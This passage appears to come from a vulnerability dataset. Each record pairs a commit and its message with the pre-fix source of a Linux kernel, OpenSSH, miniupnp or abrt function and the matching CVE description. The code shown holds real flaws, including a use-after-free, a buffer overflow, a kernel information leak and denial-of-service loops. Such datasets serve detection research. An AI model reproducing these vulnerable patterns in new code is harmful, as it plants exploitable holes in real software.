{ kmem_cache_free(rds_conn_slab, conn); conn = ERR_PTR(ret); goto out; } atomic_set(&conn->c_state, RDS_CONN_DOWN); conn->c_send_gen = 0; conn->c_reconnect_jiffies = 0; INIT_DELAYED_WORK(&conn->c_send_w, rds_send_worker); INIT_DELAYED_WORK(&conn->c_recv_w, rds_recv_worker); INIT_DELAYED_WORK(&conn->c_conn_w, rds_connect_worker); INIT_WORK(&conn->c_down_w, rds_shutdown_worker); mutex_init(&conn->c_cm_lock); conn->c_flags = 0; rdsdebug("allocated conn %p for %pI4 -> %pI4 over %s %s\n", conn, &laddr, &faddr, trans->t_name ? trans->t_name : "[unknown]", is_outgoing ? "(outgoing)" : ""); /* * Since we ran without holding the conn lock, someone could * have created the same conn (either normal or passive) in the * interim. We check while holding the lock. If we won, we complete * init and return our conn. If we lost, we rollback and return the * other one. */ spin_lock_irqsave(&rds_conn_lock, flags); if (parent) { /* Creating passive conn */ if (parent->c_passive) { trans->conn_free(conn->c_transport_data); kmem_cache_free(rds_conn_slab, conn); conn = parent->c_passive; } else { parent->c_passive = conn; rds_cong_add_conn(conn); rds_conn_count++; } } else { /* Creating normal conn */ struct rds_connection *found; if (!is_outgoing && otrans->t_type == RDS_TRANS_TCP) found = NULL; else found = rds_conn_lookup(net, head, laddr, faddr, trans); if (found) { trans->conn_free(conn->c_transport_data); kmem_cache_free(rds_conn_slab, conn); conn = found; } else { if ((is_outgoing && otrans->t_type == RDS_TRANS_TCP) || (otrans->t_type != RDS_TRANS_TCP)) { /* Only the active side should be added to * reconnect list for TCP. */ hlist_add_head_rcu(&conn->c_hash_node, head); } rds_cong_add_conn(conn); rds_conn_count++; } } spin_unlock_irqrestore(&rds_conn_lock, flags); out: return conn; }

connection.c

CVE-2015-6937

The __rds_conn_create function in net/rds/connection.c in the Linux kernel through 4.2.3 allows local users to cause a denial of service (NULL pointer dereference and system crash) or possibly have unspecified other impact by using a socket that was not properly bound.

https://nvd.nist.gov/vuln/detail/CVE-2015-6937

openssh-portable

5e75f5198769056089fb06c4d738ab0e5abc66f7

https://github.com/openssh/openssh-portable

https://github.com/openssh/openssh-portable/commit/5e75f5198769056089fb06c4d738ab0e5abc66f7

set sshpam_ctxt to NULL after free Avoids use-after-free in monitor when privsep child is compromised. Reported by Moritz Jodeit; ok dtucker@

mm_answer_pam_free_ctx(int sock, Buffer *m) { debug3("%s", __func__); (sshpam_device.free_ctx)(sshpam_ctxt); buffer_clear(m); mm_request_send(sock, MONITOR_ANS_PAM_FREE_CTX, m); auth_method = "keyboard-interactive"; auth_submethod = "pam"; return (sshpam_authok == sshpam_ctxt); }

monitor.c

CVE-2015-6564

Use-after-free vulnerability in the mm_answer_pam_free_ctx function in monitor.c in sshd in OpenSSH before 7.0 on non-OpenBSD platforms might allow local users to gain privileges by leveraging control of the sshd uid to send an unexpectedly early MONITOR_REQ_PAM_FREE_CTX request.

https://nvd.nist.gov/vuln/detail/CVE-2015-6564

openssh-portable

d4697fe9a28dab7255c60433e4dd23cf7fce8a8b

https://github.com/openssh/openssh-portable

https://github.com/openssh/openssh-portable/commit/d4697fe9a28dab7255c60433e4dd23cf7fce8a8b

Don't resend username to PAM; it already has it. Pointed out by Moritz Jodeit; ok dtucker@

mm_answer_pam_init_ctx(int sock, Buffer *m) { debug3("%s", __func__); authctxt->user = buffer_get_string(m, NULL); sshpam_ctxt = (sshpam_device.init_ctx)(authctxt); sshpam_authok = NULL; buffer_clear(m); if (sshpam_ctxt != NULL) { monitor_permit(mon_dispatch, MONITOR_REQ_PAM_FREE_CTX, 1); buffer_put_int(m, 1); } else { buffer_put_int(m, 0); } mm_request_send(sock, MONITOR_ANS_PAM_INIT_CTX, m); return (0); }

monitor.c

CVE-2015-6563

The monitor component in sshd in OpenSSH before 7.0 on non-OpenBSD platforms accepts extraneous username data in MONITOR_REQ_PAM_INIT_CTX requests, which allows local users to conduct impersonation attacks by leveraging any SSH login access in conjunction with control of the sshd uid to send a crafted MONITOR_REQ_PWNAM request, related to monitor.c and monitor_wrap.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-6563

openssh-portable

d4697fe9a28dab7255c60433e4dd23cf7fce8a8b

https://github.com/openssh/openssh-portable

https://github.com/openssh/openssh-portable/commit/d4697fe9a28dab7255c60433e4dd23cf7fce8a8b

Don't resend username to PAM; it already has it. Pointed out by Moritz Jodeit; ok dtucker@

mm_sshpam_init_ctx(Authctxt *authctxt) { Buffer m; int success; debug3("%s", __func__); buffer_init(&m); buffer_put_cstring(&m, authctxt->user); mm_request_send(pmonitor->m_recvfd, MONITOR_REQ_PAM_INIT_CTX, &m); debug3("%s: waiting for MONITOR_ANS_PAM_INIT_CTX", __func__); mm_request_receive_expect(pmonitor->m_recvfd, MONITOR_ANS_PAM_INIT_CTX, &m); success = buffer_get_int(&m); if (success == 0) { debug3("%s: pam_init_ctx failed", __func__); buffer_free(&m); return (NULL); } buffer_free(&m); return (authctxt); }

monitor_wrap.c

CVE-2015-6563

The monitor component in sshd in OpenSSH before 7.0 on non-OpenBSD platforms accepts extraneous username data in MONITOR_REQ_PAM_INIT_CTX requests, which allows local users to conduct impersonation attacks by leveraging any SSH login access in conjunction with control of the sshd uid to send a crafted MONITOR_REQ_PWNAM request, related to monitor.c and monitor_wrap.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-6563

linux

9a5cbce421a283e6aea3c4007f141735bf9da8c3

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/9a5cbce421a283e6aea3c4007f141735bf9da8c3

powerpc/perf: Cap 64bit userspace backtraces to PERF_MAX_STACK_DEPTH We cap 32bit userspace backtraces to PERF_MAX_STACK_DEPTH (currently 127), but we forgot to do the same for 64bit backtraces. Cc: stable@vger.kernel.org Signed-off-by: Anton Blanchard <anton@samba.org> Signed-off-by: Michael Ellerman <mpe@ellerman.id.au>

static void perf_callchain_user_64(struct perf_callchain_entry *entry, struct pt_regs *regs) { unsigned long sp, next_sp; unsigned long next_ip; unsigned long lr; long level = 0; struct signal_frame_64 __user *sigframe; unsigned long __user *fp, *uregs; next_ip = perf_instruction_pointer(regs); lr = regs->link; sp = regs->gpr[1]; perf_callchain_store(entry, next_ip); for (;;) { fp = (unsigned long __user *) sp; if (!valid_user_sp(sp, 1) || read_user_stack_64(fp, &next_sp)) return; if (level > 0 && read_user_stack_64(&fp[2], &next_ip)) return; /* * Note: the next_sp - sp >= signal frame size check * is true when next_sp < sp, which can happen when * transitioning from an alternate signal stack to the * normal stack. */ if (next_sp - sp >= sizeof(struct signal_frame_64) && (is_sigreturn_64_address(next_ip, sp) || (level <= 1 && is_sigreturn_64_address(lr, sp))) && sane_signal_64_frame(sp)) { /* * This looks like an signal frame */ sigframe = (struct signal_frame_64 __user *) sp; uregs = sigframe->uc.uc_mcontext.gp_regs; if (read_user_stack_64(&uregs[PT_NIP], &next_ip) || read_user_stack_64(&uregs[PT_LNK], &lr) || read_user_stack_64(&uregs[PT_R1], &sp)) return; level = 0; perf_callchain_store(entry, PERF_CONTEXT_USER); perf_callchain_store(entry, next_ip); continue; } if (level == 0) next_ip = lr; perf_callchain_store(entry, next_ip); ++level; sp = next_sp; } }

callchain.c

CVE-2015-6526

The perf_callchain_user_64 function in arch/powerpc/perf/callchain.c in the Linux kernel before 4.0.2 on ppc64 platforms allows local users to cause a denial of service (infinite loop) via a deep 64-bit userspace backtrace.

https://nvd.nist.gov/vuln/detail/CVE-2015-6526

linux

7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/7932c0bd7740f4cd2aa168d3ce0199e7af7d72d5

vhost: actually track log eventfd file While reviewing vhost log code, I found out that log_file is never set. Note: I haven't tested the change (QEMU doesn't use LOG_FD yet). Cc: stable@vger.kernel.org Signed-off-by: Marc-André Lureau <marcandre.lureau@redhat.com> Signed-off-by: Michael S. Tsirkin <mst@redhat.com>

long vhost_dev_ioctl(struct vhost_dev *d, unsigned int ioctl, void __user *argp) { struct file *eventfp, *filep = NULL; struct eventfd_ctx *ctx = NULL; u64 p; long r; int i, fd; /* If you are not the owner, you can become one */ if (ioctl == VHOST_SET_OWNER) { r = vhost_dev_set_owner(d); goto done; } /* You must be the owner to do anything else */ r = vhost_dev_check_owner(d); if (r) goto done; switch (ioctl) { case VHOST_SET_MEM_TABLE: r = vhost_set_memory(d, argp); break; case VHOST_SET_LOG_BASE: if (copy_from_user(&p, argp, sizeof p)) { r = -EFAULT; break; } if ((u64)(unsigned long)p != p) { r = -EFAULT; break; } for (i = 0; i < d->nvqs; ++i) { struct vhost_virtqueue *vq; void __user *base = (void __user *)(unsigned long)p; vq = d->vqs[i]; mutex_lock(&vq->mutex); /* If ring is inactive, will check when it's enabled. */ if (vq->private_data && !vq_log_access_ok(vq, base)) r = -EFAULT; else vq->log_base = base; mutex_unlock(&vq->mutex); } break; case VHOST_SET_LOG_FD: r = get_user(fd, (int __user *)argp); if (r < 0) break; eventfp = fd == -1 ? NULL : eventfd_fget(fd); if (IS_ERR(eventfp)) { r = PTR_ERR(eventfp); break; } if (eventfp != d->log_file) { filep = d->log_file; ctx = d->log_ctx; d->log_ctx = eventfp ? eventfd_ctx_fileget(eventfp) : NULL; } else filep = eventfp; for (i = 0; i < d->nvqs; ++i) { mutex_lock(&d->vqs[i]->mutex); d->vqs[i]->log_ctx = d->log_ctx; mutex_unlock(&d->vqs[i]->mutex); } if (ctx) eventfd_ctx_put(ctx); if (filep) fput(filep); break; default: r = -ENOIOCTLCMD; break; } done: return r; }

vhost.c

CVE-2015-6252

The vhost_dev_ioctl function in drivers/vhost/vhost.c in the Linux kernel before 4.1.5 allows local users to cause a denial of service (memory consumption) via a VHOST_SET_LOG_FD ioctl call that triggers permanent file-descriptor allocation.

https://nvd.nist.gov/vuln/detail/CVE-2015-6252

miniupnp

79cca974a4c2ab1199786732a67ff6d898051b78

https://github.com/miniupnp/miniupnp

https://github.com/miniupnp/miniupnp/commit/79cca974a4c2ab1199786732a67ff6d898051b78

igd_desc_parse.c: fix buffer overflow

void IGDstartelt(void * d, const char * name, int l) { struct IGDdatas * datas = (struct IGDdatas *)d; memcpy( datas->cureltname, name, l); datas->cureltname[l] = '\0'; datas->level++; if( (l==7) && !memcmp(name, "service", l) ) { datas->tmp.controlurl[0] = '\0'; datas->tmp.eventsuburl[0] = '\0'; datas->tmp.scpdurl[0] = '\0'; datas->tmp.servicetype[0] = '\0'; } }

igd_desc_parse.c

CVE-2015-6031

Buffer overflow in the IGDstartelt function in igd_desc_parse.c in the MiniUPnP client (aka MiniUPnPc) before 1.9.20150917 allows remote UPNP servers to cause a denial of service (application crash) and possibly execute arbitrary code via an "oversized" XML element name.

https://nvd.nist.gov/vuln/detail/CVE-2015-6031

linux

f15133df088ecadd141ea1907f2c96df67c729f0

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/f15133df088ecadd141ea1907f2c96df67c729f0

path_openat(): fix double fput() path_openat() jumps to the wrong place after do_tmpfile() - it has already done path_cleanup() (as part of path_lookupat() called by do_tmpfile()), so doing that again can lead to double fput(). Cc: stable@vger.kernel.org # v3.11+ Signed-off-by: Al Viro <viro@zeniv.linux.org.uk>

static struct file *path_openat(int dfd, struct filename *pathname, struct nameidata *nd, const struct open_flags *op, int flags) { struct file *file; struct path path; int opened = 0; int error; file = get_empty_filp(); if (IS_ERR(file)) return file; file->f_flags = op->open_flag; if (unlikely(file->f_flags & __O_TMPFILE)) { error = do_tmpfile(dfd, pathname, nd, flags, op, file, &opened); goto out; } error = path_init(dfd, pathname, flags, nd); if (unlikely(error)) goto out; error = do_last(nd, &path, file, op, &opened, pathname); while (unlikely(error > 0)) { /* trailing symlink */ struct path link = path; void *cookie; if (!(nd->flags & LOOKUP_FOLLOW)) { path_put_conditional(&path, nd); path_put(&nd->path); error = -ELOOP; break; } error = may_follow_link(&link, nd); if (unlikely(error)) break; nd->flags |= LOOKUP_PARENT; nd->flags &= ~(LOOKUP_OPEN|LOOKUP_CREATE|LOOKUP_EXCL); error = follow_link(&link, nd, &cookie); if (unlikely(error)) break; error = do_last(nd, &path, file, op, &opened, pathname); put_link(nd, &link, cookie); } out: path_cleanup(nd); if (!(opened & FILE_OPENED)) { BUG_ON(!error); put_filp(file); } if (unlikely(error)) { if (error == -EOPENSTALE) { if (flags & LOOKUP_RCU) error = -ECHILD; else error = -ESTALE; } file = ERR_PTR(error); } return file; }

namei.c

CVE-2015-5706

Use-after-free vulnerability in the path_openat function in fs/namei.c in the Linux kernel 3.x and 4.x before 4.0.4 allows local users to cause a denial of service or possibly have unspecified other impact via O_TMPFILE filesystem operations that leverage a duplicate cleanup operation.

https://nvd.nist.gov/vuln/detail/CVE-2015-5706

linux

b6878d9e03043695dbf3fa1caa6dfc09db225b16

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/b6878d9e03043695dbf3fa1caa6dfc09db225b16

md: use kzalloc() when bitmap is disabled In drivers/md/md.c get_bitmap_file() uses kmalloc() for creating a mdu_bitmap_file_t called "file". 5769 file = kmalloc(sizeof(*file), GFP_NOIO); 5770 if (!file) 5771 return -ENOMEM; This structure is copied to user space at the end of the function. 5786 if (err == 0 && 5787 copy_to_user(arg, file, sizeof(*file))) 5788 err = -EFAULT But if bitmap is disabled only the first byte of "file" is initialized with zero, so it's possible to read some bytes (up to 4095) of kernel space memory from user space. This is an information leak. 5775 /* bitmap disabled, zero the first byte and copy out */ 5776 if (!mddev->bitmap_info.file) 5777 file->pathname[0] = '\0'; Signed-off-by: Benjamin Randazzo <benjamin@randazzo.fr> Signed-off-by: NeilBrown <neilb@suse.com>

static int get_bitmap_file(struct mddev *mddev, void __user * arg) { mdu_bitmap_file_t *file = NULL; /* too big for stack allocation */ char *ptr; int err; file = kmalloc(sizeof(*file), GFP_NOIO); if (!file) return -ENOMEM; err = 0; spin_lock(&mddev->lock); /* bitmap disabled, zero the first byte and copy out */ if (!mddev->bitmap_info.file) file->pathname[0] = '\0'; else if ((ptr = file_path(mddev->bitmap_info.file, file->pathname, sizeof(file->pathname))), IS_ERR(ptr)) err = PTR_ERR(ptr); else memmove(file->pathname, ptr, sizeof(file->pathname)-(ptr-file->pathname)); spin_unlock(&mddev->lock); if (err == 0 && copy_to_user(arg, file, sizeof(*file))) err = -EFAULT; kfree(file); return err; }

md.c

CVE-2015-5697

The get_bitmap_file function in drivers/md/md.c in the Linux kernel before 4.1.6 does not initialize a certain bitmap data structure, which allows local users to obtain sensitive information from kernel memory via a GET_BITMAP_FILE ioctl call.

https://nvd.nist.gov/vuln/detail/CVE-2015-5697

linux

beb39db59d14990e401e235faf66a6b9b31240b0

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0

udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <edumazet@google.com> Cc: Willem de Bruijn <willemb@google.com> Signed-off-by: David S. Miller <davem@davemloft.net>

int udp_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct inet_sock *inet = inet_sk(sk); DECLARE_SOCKADDR(struct sockaddr_in *, sin, msg->msg_name); struct sk_buff *skb; unsigned int ulen, copied; int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); bool slow; if (flags & MSG_ERRQUEUE) return ip_recv_error(sk, msg, len, addr_len); try_again: skb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0), &peeked, &off, &err); if (!skb) goto out; ulen = skb->len - sizeof(struct udphdr); copied = len; if (copied > ulen) copied = ulen; else if (copied < ulen) msg->msg_flags |= MSG_TRUNC; /* * If checksum is needed at all, try to do it while copying the * data. If the data is truncated, or if we only want a partial * coverage checksum (UDP-Lite), do it before the copy. */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { if (udp_lib_checksum_complete(skb)) goto csum_copy_err; } if (skb_csum_unnecessary(skb)) err = skb_copy_datagram_msg(skb, sizeof(struct udphdr), msg, copied); else { err = skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); if (err == -EINVAL) goto csum_copy_err; } if (unlikely(err)) { trace_kfree_skb(skb, udp_recvmsg); if (!peeked) { atomic_inc(&sk->sk_drops); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } goto out_free; } if (!peeked) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); sock_recv_ts_and_drops(msg, sk, skb); /* Copy the address. */ if (sin) { sin->sin_family = AF_INET; sin->sin_port = udp_hdr(skb)->source; sin->sin_addr.s_addr = ip_hdr(skb)->saddr; memset(sin->sin_zero, 0, sizeof(sin->sin_zero)); *addr_len = sizeof(*sin); } if (inet->cmsg_flags) ip_cmsg_recv_offset(msg, skb, sizeof(struct udphdr)); err = copied; if (flags & MSG_TRUNC) err = ulen; out_free: skb_free_datagram_locked(sk, skb); out: return err; csum_copy_err: slow = lock_sock_fast(sk); if (!skb_kill_datagram(sk, skb, flags)) { UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } unlock_sock_fast(sk, slow); if (noblock) return -EAGAIN; /* starting over for a new packet */ msg->msg_flags &= ~MSG_TRUNC; goto try_again; }

udp.c

CVE-2015-5366

The (1) udp_recvmsg and (2) udpv6_recvmsg functions in the Linux kernel before 4.0.6 provide inappropriate -EAGAIN return values, which allows remote attackers to cause a denial of service (EPOLLET epoll application read outage) via an incorrect checksum in a UDP packet, a different vulnerability than CVE-2015-5364.

https://nvd.nist.gov/vuln/detail/CVE-2015-5366

linux

beb39db59d14990e401e235faf66a6b9b31240b0

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/beb39db59d14990e401e235faf66a6b9b31240b0

udp: fix behavior of wrong checksums We have two problems in UDP stack related to bogus checksums : 1) We return -EAGAIN to application even if receive queue is not empty. This breaks applications using edge trigger epoll() 2) Under UDP flood, we can loop forever without yielding to other processes, potentially hanging the host, especially on non SMP. This patch is an attempt to make things better. We might in the future add extra support for rt applications wanting to better control time spent doing a recv() in a hostile environment. For example we could validate checksums before queuing packets in socket receive queue. Signed-off-by: Eric Dumazet <edumazet@google.com> Cc: Willem de Bruijn <willemb@google.com> Signed-off-by: David S. Miller <davem@davemloft.net>

int udpv6_recvmsg(struct sock *sk, struct msghdr *msg, size_t len, int noblock, int flags, int *addr_len) { struct ipv6_pinfo *np = inet6_sk(sk); struct inet_sock *inet = inet_sk(sk); struct sk_buff *skb; unsigned int ulen, copied; int peeked, off = 0; int err; int is_udplite = IS_UDPLITE(sk); int is_udp4; bool slow; if (flags & MSG_ERRQUEUE) return ipv6_recv_error(sk, msg, len, addr_len); if (np->rxpmtu && np->rxopt.bits.rxpmtu) return ipv6_recv_rxpmtu(sk, msg, len, addr_len); try_again: skb = __skb_recv_datagram(sk, flags | (noblock ? MSG_DONTWAIT : 0), &peeked, &off, &err); if (!skb) goto out; ulen = skb->len - sizeof(struct udphdr); copied = len; if (copied > ulen) copied = ulen; else if (copied < ulen) msg->msg_flags |= MSG_TRUNC; is_udp4 = (skb->protocol == htons(ETH_P_IP)); /* * If checksum is needed at all, try to do it while copying the * data. If the data is truncated, or if we only want a partial * coverage checksum (UDP-Lite), do it before the copy. */ if (copied < ulen || UDP_SKB_CB(skb)->partial_cov) { if (udp_lib_checksum_complete(skb)) goto csum_copy_err; } if (skb_csum_unnecessary(skb)) err = skb_copy_datagram_msg(skb, sizeof(struct udphdr), msg, copied); else { err = skb_copy_and_csum_datagram_msg(skb, sizeof(struct udphdr), msg); if (err == -EINVAL) goto csum_copy_err; } if (unlikely(err)) { trace_kfree_skb(skb, udpv6_recvmsg); if (!peeked) { atomic_inc(&sk->sk_drops); if (is_udp4) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); else UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } goto out_free; } if (!peeked) { if (is_udp4) UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); else UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INDATAGRAMS, is_udplite); } sock_recv_ts_and_drops(msg, sk, skb); /* Copy the address. */ if (msg->msg_name) { DECLARE_SOCKADDR(struct sockaddr_in6 *, sin6, msg->msg_name); sin6->sin6_family = AF_INET6; sin6->sin6_port = udp_hdr(skb)->source; sin6->sin6_flowinfo = 0; if (is_udp4) { ipv6_addr_set_v4mapped(ip_hdr(skb)->saddr, &sin6->sin6_addr); sin6->sin6_scope_id = 0; } else { sin6->sin6_addr = ipv6_hdr(skb)->saddr; sin6->sin6_scope_id = ipv6_iface_scope_id(&sin6->sin6_addr, inet6_iif(skb)); } *addr_len = sizeof(*sin6); } if (np->rxopt.all) ip6_datagram_recv_common_ctl(sk, msg, skb); if (is_udp4) { if (inet->cmsg_flags) ip_cmsg_recv(msg, skb); } else { if (np->rxopt.all) ip6_datagram_recv_specific_ctl(sk, msg, skb); } err = copied; if (flags & MSG_TRUNC) err = ulen; out_free: skb_free_datagram_locked(sk, skb); out: return err; csum_copy_err: slow = lock_sock_fast(sk); if (!skb_kill_datagram(sk, skb, flags)) { if (is_udp4) { UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } else { UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_CSUMERRORS, is_udplite); UDP6_INC_STATS_USER(sock_net(sk), UDP_MIB_INERRORS, is_udplite); } } unlock_sock_fast(sk, slow); if (noblock) return -EAGAIN; /* starting over for a new packet */ msg->msg_flags &= ~MSG_TRUNC; goto try_again; }

udp.c

CVE-2015-5366

The (1) udp_recvmsg and (2) udpv6_recvmsg functions in the Linux kernel before 4.0.6 provide inappropriate -EAGAIN return values, which allows remote attackers to cause a denial of service (EPOLLET epoll application read outage) via an incorrect checksum in a UDP packet, a different vulnerability than CVE-2015-5364.

https://nvd.nist.gov/vuln/detail/CVE-2015-5366

linux

54a20552e1eae07aa240fa370a0293e006b5faed

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/54a20552e1eae07aa240fa370a0293e006b5faed

KVM: x86: work around infinite loop in microcode when #AC is delivered It was found that a guest can DoS a host by triggering an infinite stream of "alignment check" (#AC) exceptions. This causes the microcode to enter an infinite loop where the core never receives another interrupt. The host kernel panics pretty quickly due to the effects (CVE-2015-5307). Signed-off-by: Eric Northup <digitaleric@google.com> Cc: stable@vger.kernel.org Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>

static void init_vmcb(struct vcpu_svm *svm) { struct vmcb_control_area *control = &svm->vmcb->control; struct vmcb_save_area *save = &svm->vmcb->save; svm->vcpu.fpu_active = 1; svm->vcpu.arch.hflags = 0; set_cr_intercept(svm, INTERCEPT_CR0_READ); set_cr_intercept(svm, INTERCEPT_CR3_READ); set_cr_intercept(svm, INTERCEPT_CR4_READ); set_cr_intercept(svm, INTERCEPT_CR0_WRITE); set_cr_intercept(svm, INTERCEPT_CR3_WRITE); set_cr_intercept(svm, INTERCEPT_CR4_WRITE); set_cr_intercept(svm, INTERCEPT_CR8_WRITE); set_dr_intercepts(svm); set_exception_intercept(svm, PF_VECTOR); set_exception_intercept(svm, UD_VECTOR); set_exception_intercept(svm, MC_VECTOR); set_intercept(svm, INTERCEPT_INTR); set_intercept(svm, INTERCEPT_NMI); set_intercept(svm, INTERCEPT_SMI); set_intercept(svm, INTERCEPT_SELECTIVE_CR0); set_intercept(svm, INTERCEPT_RDPMC); set_intercept(svm, INTERCEPT_CPUID); set_intercept(svm, INTERCEPT_INVD); set_intercept(svm, INTERCEPT_HLT); set_intercept(svm, INTERCEPT_INVLPG); set_intercept(svm, INTERCEPT_INVLPGA); set_intercept(svm, INTERCEPT_IOIO_PROT); set_intercept(svm, INTERCEPT_MSR_PROT); set_intercept(svm, INTERCEPT_TASK_SWITCH); set_intercept(svm, INTERCEPT_SHUTDOWN); set_intercept(svm, INTERCEPT_VMRUN); set_intercept(svm, INTERCEPT_VMMCALL); set_intercept(svm, INTERCEPT_VMLOAD); set_intercept(svm, INTERCEPT_VMSAVE); set_intercept(svm, INTERCEPT_STGI); set_intercept(svm, INTERCEPT_CLGI); set_intercept(svm, INTERCEPT_SKINIT); set_intercept(svm, INTERCEPT_WBINVD); set_intercept(svm, INTERCEPT_MONITOR); set_intercept(svm, INTERCEPT_MWAIT); set_intercept(svm, INTERCEPT_XSETBV); control->iopm_base_pa = iopm_base; control->msrpm_base_pa = __pa(svm->msrpm); control->int_ctl = V_INTR_MASKING_MASK; init_seg(&save->es); init_seg(&save->ss); init_seg(&save->ds); init_seg(&save->fs); init_seg(&save->gs); save->cs.selector = 0xf000; save->cs.base = 0xffff0000; /* Executable/Readable Code Segment */ save->cs.attrib = SVM_SELECTOR_READ_MASK | SVM_SELECTOR_P_MASK | SVM_SELECTOR_S_MASK | SVM_SELECTOR_CODE_MASK; save->cs.limit = 0xffff; save->gdtr.limit = 0xffff; save->idtr.limit = 0xffff; init_sys_seg(&save->ldtr, SEG_TYPE_LDT); init_sys_seg(&save->tr, SEG_TYPE_BUSY_TSS16); svm_set_efer(&svm->vcpu, 0); save->dr6 = 0xffff0ff0; kvm_set_rflags(&svm->vcpu, 2); save->rip = 0x0000fff0; svm->vcpu.arch.regs[VCPU_REGS_RIP] = save->rip; /* * svm_set_cr0() sets PG and WP and clears NW and CD on save->cr0. * It also updates the guest-visible cr0 value. */ svm_set_cr0(&svm->vcpu, X86_CR0_NW | X86_CR0_CD | X86_CR0_ET); kvm_mmu_reset_context(&svm->vcpu); save->cr4 = X86_CR4_PAE; /* rdx = ?? */ if (npt_enabled) { /* Setup VMCB for Nested Paging */ control->nested_ctl = 1; clr_intercept(svm, INTERCEPT_INVLPG); clr_exception_intercept(svm, PF_VECTOR); clr_cr_intercept(svm, INTERCEPT_CR3_READ); clr_cr_intercept(svm, INTERCEPT_CR3_WRITE); save->g_pat = svm->vcpu.arch.pat; save->cr3 = 0; save->cr4 = 0; } svm->asid_generation = 0; svm->nested.vmcb = 0; svm->vcpu.arch.hflags = 0; if (boot_cpu_has(X86_FEATURE_PAUSEFILTER)) { control->pause_filter_count = 3000; set_intercept(svm, INTERCEPT_PAUSE); } mark_all_dirty(svm->vmcb); enable_gif(svm); }

svm.c

CVE-2015-5307

The KVM subsystem in the Linux kernel through 4.2.6, and Xen 4.3.x through 4.6.x, allows guest OS users to cause a denial of service (host OS panic or hang) by triggering many #AC (aka Alignment Check) exceptions, related to svm.c and vmx.c.

https://nvd.nist.gov/vuln/detail/CVE-2015-5307

abrt

3c1b60cfa62d39e5fff5a53a5bc53dae189e740e

https://github.com/abrt/abrt

https://github.com/abrt/abrt/commit/3c1b60cfa62d39e5fff5a53a5bc53dae189e740e

ccpp: save abrt core files only to new files Prior this commit abrt-hook-ccpp saved a core file generated by a process running a program whose name starts with "abrt" in DUMP_LOCATION/$(basename program)-coredump. If the file was a symlink, the hook followed and wrote core file to the symlink's target. Addresses CVE-2015-5287 Signed-off-by: Jakub Filak <jfilak@redhat.com>

int main(int argc, char** argv) { /* Kernel starts us with all fd's closed. * But it's dangerous: * fprintf(stderr) can dump messages into random fds, etc. * Ensure that if any of fd 0,1,2 is closed, we open it to /dev/null. */ int fd = xopen("/dev/null", O_RDWR); while (fd < 2) fd = xdup(fd); if (fd > 2) close(fd); int err = 1; logmode = LOGMODE_JOURNAL; /* Parse abrt.conf */ load_abrt_conf(); /* ... and plugins/CCpp.conf */ bool setting_MakeCompatCore; bool setting_SaveBinaryImage; bool setting_SaveFullCore; bool setting_CreateCoreBacktrace; bool setting_SaveContainerizedPackageData; bool setting_StandaloneHook; { map_string_t *settings = new_map_string(); load_abrt_plugin_conf_file("CCpp.conf", settings); const char *value; value = get_map_string_item_or_NULL(settings, "MakeCompatCore"); setting_MakeCompatCore = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "SaveBinaryImage"); setting_SaveBinaryImage = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "SaveFullCore"); setting_SaveFullCore = value ? string_to_bool(value) : true; value = get_map_string_item_or_NULL(settings, "CreateCoreBacktrace"); setting_CreateCoreBacktrace = value ? string_to_bool(value) : true; value = get_map_string_item_or_NULL(settings, "SaveContainerizedPackageData"); setting_SaveContainerizedPackageData = value && string_to_bool(value); /* Do not call abrt-action-save-package-data with process's root, if ExploreChroots is disabled. */ if (!g_settings_explorechroots) { if (setting_SaveContainerizedPackageData) log_warning("Ignoring SaveContainerizedPackageData because ExploreChroots is disabled"); setting_SaveContainerizedPackageData = false; } value = get_map_string_item_or_NULL(settings, "StandaloneHook"); setting_StandaloneHook = value && string_to_bool(value); value = get_map_string_item_or_NULL(settings, "VerboseLog"); if (value) g_verbose = xatoi_positive(value); free_map_string(settings); } if (argc == 2 && strcmp(argv[1], "--config-test")) return test_configuration(setting_SaveFullCore, setting_CreateCoreBacktrace); if (argc < 8) { /* percent specifier: %s %c %p %u %g %t %e %P %i*/ /* argv: [0] [1] [2] [3] [4] [5] [6] [7] [8] [9]*/ error_msg_and_die("Usage: %s SIGNO CORE_SIZE_LIMIT PID UID GID TIME BINARY_NAME GLOBAL_PID [TID]", argv[0]); } /* Not needed on 2.6.30. 